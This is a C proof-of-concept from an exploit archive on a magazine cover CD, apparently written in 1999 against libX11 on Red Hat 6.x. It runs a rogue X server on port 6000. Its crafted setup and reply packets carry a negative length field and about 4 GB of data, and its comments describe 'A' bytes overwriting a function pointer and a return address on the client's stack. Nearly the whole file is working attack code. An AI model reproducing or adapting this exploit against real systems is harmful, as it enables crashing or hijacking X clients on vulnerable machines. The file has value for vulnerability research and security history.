home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / libX11flaw.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  5.3 KB  |  171 lines
  1. /* Chris Evans - demo of libX11 flaw. Tricky one this. */
  2.  
  3. /*   redhat 6.2/6.1   */
  4. /* Disclaimer - I haven't bothered to beutify this. It probably is tied
  5.  * to little endian machines. Return values go unchecked, etc. ;-)
  6.  */ 
  7.   
  8. #include <unistd.h>             
  9. #include <string.h>
  10.   
  11. #include <sys/types.h>    
  12. #include <sys/socket.h>         
  13.   
  14. #include <netinet/in.h>                
  15.   
  16. int
  17. main(int argc, const char* argv[])
  18. { 
  19.   static int port = 6000;       
  20.   
  21.   char sendbuf[32768];          
  22.   char recvbuf[1024];      
  23.   struct sockaddr_in local_addr;
  24.   struct sockaddr_in remote_addr;
  25.   int remote_addrlen;     
  26.   int listen_fd;
  27.   int accept_fd;
  28.   char c;                 
  29.   short s;
  30.   int i;                  
  31.   unsigned int bigsend;   
  32.   
  33.   listen_fd = socket(PF_INET, SOCK_STREAM, 6);
  34.   
  35.   local_addr.sin_family = AF_INET;
  36.   local_addr.sin_addr.s_addr = INADDR_ANY;
  37.   local_addr.sin_port = htons(port);
  38.   bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));
  39.   
  40.   listen(listen_fd, 1);
  41.   
  42.   accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,  
  43.                      &remote_addrlen);
  44.   
  45.   /* Read initial client connection packet */
  46.   read(accept_fd, recvbuf, 12); 
  47.   /* Absorb auth details */
  48.   s = * ((short*)&recvbuf[6]);
  49.   s += * ((short*)&recvbuf[8]);
  50.   read(accept_fd, recvbuf, s);
  51.   
  52.   /* Send back the nasty reply */
  53.   /* xConnSetupPrefix */
  54.   c = 1;                        /* CARD8 success: xTrue */
  55.   write(accept_fd, &c, 1);
  56.   c = 0;                        /* BYTE lengthReason: 0 */
  57.   write(accept_fd, &c, 1);
  58.   s = 11;                       /* CARD16: majorVersion: 11 */
  59.   write(accept_fd, &s, 2);
  60.   s = 0;                        /* CARD16: minorVersion: 0 (irrelevant) */
  61.   write(accept_fd, &s, 2);
  62.   s = (32 + 40) >> 2;                  /* CARD16: length (of setup packet) */
  63.   write(accept_fd, &s, 2);
  64.    
  65.   /* xConnSetup, 32 bytes */
  66.   i = 0;                        /* CARD32: release */
  67.   write(accept_fd, &i, 4);      
  68.   i = 0;                        /* CARD32: ridBase */
  69.   write(accept_fd, &i, 4);      
  70.   i = 1;                        /* CARD32: ridMask: 1. 0 causes 100% CPU */
  71.   write(accept_fd, &i, 4);
  72.   i = 0;                        /* CARD32: motionBufferSize */
  73.   write(accept_fd, &i, 4);
  74.   s = 0;                        /* CARD16: nbytesVendor */
  75.   write(accept_fd, &s, 2);
  76.   s = 0;                        /* CARD16: maxRequestSize */
  77.   write(accept_fd, &s, 2);
  78.   c = 1;                        /* CARD8: numRoots: need 1+ to work */
  79.   write(accept_fd, &c, 1);
  80.   c = 0;                        /* CARD8: numFormats */
  81.   write(accept_fd, &c, 1);
  82.   c = 0;                        /* CARD8: imageByteOrder */
  83.   write(accept_fd, &c, 1);
  84.   c = 0;                        /* CARD8: bitmapBitOrder */
  85.   write(accept_fd, &c, 1);
  86.   c = 0;                        /* CARD8: bitmapScanlineUnit */
  87.   write(accept_fd, &c, 1);
  88.   c = 0;                        /* CARD8: bit:mapScanlinePad */
  89.   write(accept_fd, &c, 1);
  90.   c = 0;                        /* KeyCode (CARD8): minKeyCode */
  91.   write(accept_fd, &c, 1);
  92.   c = 0;                        /* KeyCode (CARD8): maxKeyCode */
  93.   write(accept_fd, &c, 1);
  94.   i = 0;                        /* CARD32: pad */
  95.   write(accept_fd, &i, 4); 
  96.   
  97.   /* xWindowRoot x 1 - 40 bytes */
  98.   /* Contains a "nDepths" - no further data needed if it's set to 0 */
  99.   memset(sendbuf, '\0', 40);
  100.   write(accept_fd, sendbuf, 40); 
  101.   
  102.   /* read 64 bytes of X requests */
  103.   /* From:
  104.    * xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)     
  105.    * xQueryExtention, 20 bytes - querying for big requests
  106.    * xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
  107.    */
  108.   read(accept_fd, recvbuf, 64); 
  109.   
  110.   /* Reply to xQueryExtension - an async reply */ 
  111.   c = 1;                        /* type (BYTE): X_Reply (1) */
  112.   write(accept_fd, &c, 1);
  113.   c = 0;                        /* varies */
  114.   write(accept_fd, &c, 1);
  115.   s = 2;                        /* sequenceNumber (CARD16): 2nd */
  116.   write(accept_fd, &s, 2);
  117.   i = -17;                      /* length (CARD32): signed games here */
  118.   write(accept_fd, &i, 4); 
  119.   i = 0x41414141;               /* pad (CARD32); 6 of them */
  120.   /* NOTE - in this program's current form, it seems to be these values
  121.    * which make their way onto the stack, overwriting a function pointer
  122.    */ 
  123.   write(accept_fd, &i, 4);
  124.   write(accept_fd, &i, 4);
  125.   write(accept_fd, &i, 4);
  126.   write(accept_fd, &i, 4);
  127.   write(accept_fd, &i, 4);
  128.   write(accept_fd, &i, 4);
  129.   
  130.   /* Now we've got to send a _lot_ of data back to the client - it's trying
  131.    * to read ~4Gb, grrr.  
  132.    */ 
  133.   
  134.   c = 0;                        
  135.   bigsend = (unsigned int)-17;
  136.   bigsend <<= 2;       
  137.   while (bigsend > 0)     
  138.   { 
  139.     unsigned int to_send = bigsend;
  140.     if (to_send > 32768)
  141.     {
  142.       to_send = 32768;          
  143.     }
  144.   
  145.     write(accept_fd, sendbuf, to_send);
  146.     bigsend -= to_send;
  147.   
  148.     if (!c)
  149.     {
  150.       printf("to_go: %u\n", bigsend);
  151.     }     
  152.     c++;
  153.   }
  154.    
  155.   /* Send another xreply - the first 28 bytes are read onto
  156.    * the stack.
  157.    */
  158.   /* NOTE - in its current form, these A's make their way to some unspecified
  159.    * area of stack. In testing I've easily clobbered a return address with
  160.    * these
  161.    */ 
  162.   memset(sendbuf, 'A', 28);
  163.   write(accept_fd, sendbuf, 28);
  164.   
  165.   memset(sendbuf, '\0', 32);    
  166.   /* First char of buffer, 0, represents X_Error */
  167.   write(accept_fd, sendbuf, 32);
  168.   
  169.   while(1);
  170. }     
  171. /*                   www.hack.co.za              [1999]*/